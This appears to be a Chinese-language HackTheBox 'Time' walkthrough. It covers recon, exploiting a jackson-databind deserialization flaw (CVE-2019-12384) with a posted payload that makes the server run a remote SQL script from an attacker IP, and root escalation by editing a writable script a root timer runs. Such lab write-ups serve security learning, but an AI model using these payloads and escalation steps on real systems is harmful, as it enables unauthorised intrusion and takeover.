HackTheBox-Time
0x01 信息收集
nmap
1 | nmap -p- time.htb |
http-80
nothing instering
1 | /css (Status: 301) |
一个json字符串在线美化和验证的在线工具。
在Validate和Beautify中分别输入一段字符
Beautify的结果是null
而Validate是这样的报错
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token ‘asd’: was expecting (‘true’, ‘false’ or ‘null’)
通过这个报错信息,至少可以知道是用到了jackson,去搜索这段报错信息,可以知道是jackson-databind。搜索这个jackson-databind能发现近几年都是爆出些反序列化漏洞,之后在github上找到这个exp
0x02 漏洞利用
1 | git clone https://github.com/jas502n/CVE-2019-12384 |
向网页post这段内容
1 | ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.12:8000/inject.sql'"}] |
0x03 提权
用脚本枚举后,发现一个有趣的服务和脚本。
看下权限。当前用户可写,好耶!
脚本内容
1 | #!/bin/bash |
打包/var/www/html的文件,然后命名为website.bak.zip ,最后将其移动到/root目录下。能移动到root目录下到,怕不是是后台有执行脚本把?于是上传了一个pspy上去看下,果然。
root用户会执行这个脚本,通过systemctl 重启 web_backup.server这个服务,去执行/usr/bin/timer_backup.sh这个文件。
但是他完整的启动链是这样的。有一个叫timer_backup.timer的服务一直在运行状态,去执行timer_backup.server。
而timer_backup.server呢 又会重启web_backup.service。最后的web_bakcup.service就是执行的/usr/bin/timer_backup.sh这个文件。
接下来就简单了,只要修改/usr/bin/timer_backup.sh这个脚本文件的代码就好了,方式有很多种,任君发挥。
1 | #!/bin/bash |
接着就/bin/bash -p
提权就好了